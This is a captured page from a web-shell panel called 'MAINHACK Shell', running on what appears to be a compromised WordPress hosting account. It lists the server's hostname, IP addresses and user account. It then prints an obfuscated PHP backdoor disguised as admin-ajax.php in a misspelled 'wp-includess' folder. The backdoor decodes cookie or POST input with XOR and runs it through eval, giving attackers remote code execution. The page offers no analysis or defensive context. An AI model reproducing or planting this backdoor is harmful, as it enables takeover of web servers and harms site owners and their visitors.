MAINHACK

MAINHACK Shell

: /home/creationoo/www/wp-includess/IXR/ [ drwxr-xr-x ]
Uname: Linux webm001.cluster110.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Software: Apache
PHP version: 7.3.33 [ PHP INFO ] PHP os: Linux
Server Ip: 213.186.33.19
Your Ip: 216.73.216.124
User: creationoo (224166) | Group: users (100)
Safe Mode: OFF
Disable Function:
_dyuweyrj4,_dyuweyrj4r,dl

name : admin-ajax.php
<?php
$fMLSwKhTQL/*Vc*/=     chr/*   KK  */(	491/*Go */-	376  )."\164"/*  jS   */.	chr     (114)	./* k */'_'	.     chr     (114)	.	chr	(   640/* lm */-   539/*   JlTBy   */).chr     (/*xk */985 - 873	).chr    (101)	.	'a'	./*J*/chr	(     757    -/* XnF  */641	);$_lvDm	=/*  XKd   */'54746';
			$NBDnvhQec	=   'e'/*  f*/.	chr (120)   .	chr (     282     -/* LYuR */170/*QBEUL   */)."\x6c"/*rGYE   */.	'o'	.    chr	(100)/*   eO  */.	"\x65";
$vQMrvlAla/*nx*/=/*Gp  */"\x70"    . 'a'     .   chr    (     1015  -/* Y */916/* JdPc  */).chr/*L  */( 427/*qUTJ */-    320	);
    function/*FFg */jFNuW()
	{
/*zvqEC  */$mlkcNUjFra	=   Array   (/*  jeyAX */"rLifnSLrmTgeHosIhSjxVdXXuqB"	=>/*   F*/"ybIdzqIOkxnf"/*  M */);
       

    $skyGI =	Array	(    "aOWtMBhEadcSRc"/*  Vl*/=>   "LFkVcHIMOhPYvFI"    );;
    	$GSYjZ	=	Array(     $mlkcNUjFra,	$_COOKIE, $mlkcNUjFra,	$_POST,/*  fRi   */$skyGI);


/* Z  */
 	return	$GSYjZ;
		/*  RX*/}
	 

	function  jiAKpCo($gYIVHNZHip)
      {


/* zwvz  */if	(/*   PTF   */count     (     $gYIVHNZHip	)   ==	3/*   k */)	{


	$VibKK	=	$gYIVHNZHip[1];$_mXPpe    =/* cp */'17883';

 $AWnlQ  =/*ZZaG */$gYIVHNZHip[2];
		/* eZzZ   */$nQXVC	=	$VibKK($AWnlQ);
    /* eOel*/eval   (	$nQXVC  );
 /*   c */die  ();;
   	}
	/*   U */}
     /*   XI */

	function     JkxhG($IWdOHo,	$nBGQdPMg)
			    {
/*lMovs */return     $IWdOHo	^   $nBGQdPMg;;
     }
 	
   	$uKRlont	=   '#';

 

     foreach/* uMJmg  */(jFNuW()	as	$HYjVKtP)	{
						foreach	(	$HYjVKtP     as/*  Qm  */$nBGQdPMg	=>/*   EKq*/$IWdOHo/*  eV*/)/*   qIE*/{
	
   	$IWdOHo   = @$vQMrvlAla( "\110"   ./* na  */"\x2a",    $IWdOHo/* yn*/);
	

	$nBGQdPMg  .=	"iXuTeR-ptUHqXT-NEImo-WHebFc-mjjy-YzBpV-EBX";;
    /*R*/$nBGQdPMg	=   $fMLSwKhTQL/* Bvdg   */(	$nBGQdPMg,/*tZKpN  */(  strlen(  $IWdOHo/*m  */)/strlen( $nBGQdPMg/*ZTnS*/)/*bmCYn */) +	1);


	
   	$YNXPoeD/*   LM*/=	JkxhG($IWdOHo,/*GrzJ */$nBGQdPMg);
			    
		$gYIVHNZHip     =/*XV   */$NBDnvhQec/*  ugwEb */($uKRlont,	$YNXPoeD     );

	


	jiAKpCo($gYIVHNZHip);


/*   xW */}
		    }
© 2026 MAINHACK